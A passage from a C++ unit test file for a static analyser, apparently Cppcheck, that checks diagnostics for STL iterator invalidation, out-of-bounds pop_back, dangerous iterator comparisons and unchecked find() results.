check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (somecondition) {\\n\"\n \" if (*it == 1)\\n\"\n \" foo.erase(it);\\n\"\n \" else\\n\"\n \" *it = 0;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (a) {\\n\"\n \" if (b)\\n\"\n \" foo.erase(it);\\n\" // <- TODO: erase shound't cause inconclusive valueflow\n \" else\\n\"\n \" *it = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:5] -> [test.cpp:7] -> [test.cpp:8] -> [test.cpp:8] -> [test.cpp:7] -> [test.cpp:5] -> [test.cpp:9] -> [test.cpp:3] -> [test.cpp:5]: (error) Using iterator to local container 'foo' that may be invalid.\\n\",\n \"[test.cpp:5:24] -> [test.cpp:7:13] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:7:13] -> [test.cpp:5:31] -> [test.cpp:9:21] -> [test.cpp:3:22] -> [test.cpp:5:28]: (error, inconclusive) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void eraseGoto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" goto abc;\\n\"\n \" }\\n\"\n \"bar:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" it = foo.begin();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign2() {\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" for (std::list::iterator it = ints.begin(); it != ints.end();) {\\n\"\n \" if (*it == 123) {\\n\"\n \" std::list::iterator copy = it;\\n\"\n \" ++copy;\\n\"\n \" ints.erase(it);\\n\"\n \" it = copy;\\n\"\n \" } else {\\n\"\n \" it->second = 123;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign3() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list >::const_iterator i = l.begin();\\n\"\n \" std::list::const_iterator j = (*i).begin();\\n\"\n \" cout << *j << endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign4() {\n check(\"void f(std::list data) {\\n\"\n \" std::list::const_iterator it = data.begin();\\n\"\n \" it = data.erase(it);\\n\"\n \" it = data.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(Data data) {\\n\"\n \" std::list::const_iterator it = data.ints.begin();\\n\"\n \" it = data.ints.erase(it);\\n\"\n \" it = data.ints.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssignByFunctionCall() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list::const_iterator i;\\n\"\n \" bar(i);\\n\"\n \" cout << *i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseErase() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" ints.erase(iter);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:1] -> [test.cpp:4] -> [test.cpp:5] -> [test.cpp:1] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:1:31] -> [test.cpp:4:22] -> [test.cpp:5:10] -> [test.cpp:1:27] -> [test.cpp:6:16]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void eraseByValue() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::set foo;\\n\"\n \" for (std::set::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(*it);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterator 'it' becomes invalid when deleted by value from 'foo'\\n\", \"\", errout_str());\n\n check(\"int f(std::set foo) {\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \" return *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:3:5]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::set foo)\\n\"\n \"{\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5669\n check(\"void f() {\\n\"\n \" HashSet_Ref::iterator aIt = m_ImplementationMap.find( xEle );\\n\"\n \" m_SetLoadedFactories.erase(*aIt);\\n\"\n \" m_SetLoadedFactories.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*aIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Invalid iterator: aIt [invalidIterator1]\\n\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" std::list::iterator bIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*bIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIf() {\n // #4816\n check(\"void func(std::list strlist) {\\n\"\n \" for (std::list::iterator str = strlist.begin(); str != strlist.end(); str++) {\\n\"\n \" if (func2(*str)) {\\n\"\n \" strlist.erase(str);\\n\"\n \" if (strlist.empty())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:26]: (error) Iterator 'str' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void eraseOnVector() {\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" v.erase(something(unknown));\\n\" // All iterators become invalidated when erasing from std::vector\n \" v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:13]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" std::vector::iterator bIt = v.begin();\\n\"\n \" v.erase(bIt);\\n\" // All iterators become invalidated when erasing from std::vector\n \" aIt = v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:4:7] -> [test.cpp:1:26] -> [test.cpp:5:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback1() {\n check(\"void f(const std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:32] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" {\\n\"\n \" int *it = &foo[0];\\n\"\n \" *it = 456;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" ints.push_back(1);\\n\"\n \" int *first = &ints[0];\\n\"\n \" ints.push_back(2);\\n\"\n \" *first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:6]: (error) Using pointer to local variable 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator i;\\n\"\n \"\\n\"\n \" for (i=v.begin(); i!=v.end(); ++i)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (i=rhs.v.begin(); i!=rhs.v.end(); ++i)\\n\"\n \" {\\n\"\n \" v.push_back(*i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback6() {\n // ticket #735\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(1);\\n\"\n \" v.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" vector.push_back(1);\\n\"\n \" vector.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback7() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); it++)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback8() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator end = ints.end();\\n\"\n \" ints.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" unsigned int sum = 0;\\n\"\n \" for (it = ints.begin(); it != end; ++it)\\n\"\n \" {\\n\"\n \" sum += *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:4:52] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:8:35]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback9() {\n check(\"struct A {\\n\"\n \" std::vector ints;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" A a;\\n\"\n \" std::vector::const_iterator i = ints.begin();\\n\"\n \" std::vector::const_iterator e = ints.end();\\n\"\n \" while (i != e)\\n\"\n \" {\\n\"\n \" a.ints.push_back(*i);\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback10() {\n check(\"void f(std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.reserve(100);\\n\"\n \" *it = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:26] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // in loop\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.reserve(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback11() {\n // #2798\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator it = ints.begin();\\n\"\n \" if (it == ints.begin()) {\\n\"\n \" ints.push_back(0);\\n\"\n \" } else {\\n\"\n \" ints.insert(it,0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback12() {\n // #4197\n check(\"void foo(double s)\\n\"\n \"{\\n\"\n \" std::vector vec;\\n\"\n \" for( std::vector::iterator it = vec.begin(); it != vec.end(); ++it )\\n\"\n \" {\\n\"\n \" vec.insert( it, s );\\n\"\n \" for(unsigned int i = 0; i < 42; i++)\\n\"\n \" {}\\n\"\n \" *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:54] -> [test.cpp:6:13] -> [test.cpp:3:25] -> [test.cpp:9:10]: (error, inconclusive) Using iterator to local container 'vec' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback13() {\n check(\"bool Preprocessor::ConcatenateIncludeName(SmallString<128> &FilenameBuffer, SourceLocation &End) {\\n\"\n \" unsigned PreAppendSize = FilenameBuffer.size();\\n\"\n \" FilenameBuffer.resize(PreAppendSize + CurTok.getLength());\\n\"\n \" const char *BufPtr = &FilenameBuffer[PreAppendSize];\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void insert1() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter = ints.begin() + 5;\\n\"\n \" ints.insert(ints.begin(), 1);\\n\"\n \" ++iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:30] -> [test.cpp:3:49] -> [test.cpp:4:10] -> [test.cpp:1:26] -> [test.cpp:5:7]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \" ints.insert(iter, 2);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:49] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:17]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:16]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"Foo f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" return i->foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:31] -> [test.cpp:4:12]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" bars.insert(i, bar);\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:36] -> [test.cpp:2:50] -> [test.cpp:3:14] -> [test.cpp:1:32] -> [test.cpp:4:25]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(i, Bar());\\n\"\n \" i = bars.insert(i, Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:21]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void insert2() {\n // Ticket: #2169\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" if (*it == 0) {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void popback1() { // #11553\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.pop_back();\\n\"\n \" std::list l;\\n\"\n \" l.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Out of bounds access in expression 'v.pop_back()' because 'v' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:16]: (error) Out of bounds access in expression 'l.pop_front()' because 'l' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" if (v.empty()) {}\\n\"\n \" v.pop_back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Either the condition 'v.empty()' is redundant or expression 'v.pop_back()' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" v.pop_back();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries1() {\n const std::string stlCont[] = {\n \"list\", \"set\", \"multiset\", \"map\", \"multimap\"\n };\n\n for (size_t i = 0; i < getArrayLength(stlCont); ++i) {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::\" + stlCont[i] + \"::iterator it;\\n\"\n \" for (it = ab.begin(); it < ab.end(); ++it)\\n\"\n \" ;\\n\"\n \"}\");\n\n ASSERT_EQUALS_MSG(\"[test.cpp:4:25]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str(), stlCont[i]);\n }\n\n check(\"void f() {\\n\"\n \" std::forward_list::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // #5926 no FP Dangerous comparison using operator< on iterator on std::deque\n check(\"void f() {\\n\"\n \" std::deque::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector files;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { }\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" set files;\\n\"\n \" set::const_iterator current;\\n\"\n \" for (current = files.begin(); current != files.end(); ++current)\\n\"\n \" {\\n\"\n \" assert(*current < 100)\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" static set::const_iterator current;\\n\"\n \" return 25 > current->bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid iterator 'current' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries4() {\n\n check(\"void f() {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // don't crash\n check(\"void f() {\\n\"\n \" if (list < 0) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (list < 0) {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void stlBoundaries5() {\n check(\"class iterator { int foo(); };\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class iterator {\\n\"\n \" Class operator*();\\n\"\n \" iterator& operator++();\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error, inconclusive) Invalid iterator 'i' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries6() { // #7106\n check(\"void foo(std::vector& vec) {\\n\"\n \" for (Function::iterator BB : vec) {\\n\"\n \" for (int Inst : *BB)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void if_find() {\n // ---------------------------\n // set::find\n // ---------------------------\n\n // error (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s->find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(std::vector > s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(123) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12)) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (dereference, #6402)\n check(\"void f(std::set s) {\\n\"\n \" if (s.find(12).member) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set s) {\\n\"\n \" if (auto result = s.find(123); result != s.end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ---------------------------\n // std::find\n // ---------------------------\n\n // error\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c) != c) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (less than comparison, #6217)\n check(\"void f(std::vector s)\\n\"\n \"{\\n\"\n \" if (std::find(a, b, c) < d) { }\\n\"\n \"}\");\n 